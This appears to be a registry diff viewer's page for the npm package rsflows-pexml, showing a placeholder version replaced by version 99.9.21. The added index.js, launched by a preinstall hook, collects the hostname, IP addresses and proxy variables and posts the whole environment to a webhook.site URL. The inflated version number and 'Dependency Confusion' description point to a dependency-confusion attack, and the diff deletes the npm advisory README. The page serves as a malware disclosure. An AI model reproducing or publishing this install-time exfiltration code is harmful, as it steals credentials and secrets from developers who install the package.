rsflows-pexml 0.0.1-security → 99.9.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rsflows-pexml might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +24 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ const { exec } = require('child_process');
2
+ const webhook = 'https://webhook.site/53b04b32-06a9-416e-8897-d54dfb7e0373';
3
+
4
+ const cmd = `
5
+ (
6
+ echo '--- NETWORK DEPTH REPORT ---';
7
+ echo 'HOSTNAME: ' \$(hostname);
8
+ echo 'LOCAL_IP: ' \$(hostname -I);
9
+
10
+ # Cek IP Public via berbagai service untuk bypass caching
11
+ echo 'EXT_IP_1: ' \$(curl -s https://ifconfig.me);
12
+ echo 'EXT_IP_2: ' \$(curl -s https://api.ipify.org);
13
+
14
+ echo '--- PROXY / XFF CHECK ---';
15
+ # Mencoba melihat apakah ada jejak proxy di env atau file sistem
16
+ env | grep -iE 'proxy|http_';
17
+
18
+ # Kirim request dengan header custom ke webhook untuk testing bypass
19
+ curl -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" -X POST -d "\$(env)" ${webhook}/XFF_TEST;
20
+
21
+ ) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/PROXY_RECON
22
+ `;
23
+
24
+ exec(cmd);
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "rsflows-pexml",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.21",
4
+ "description": "Internal Research PoC - Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rsflows-pexml for more information.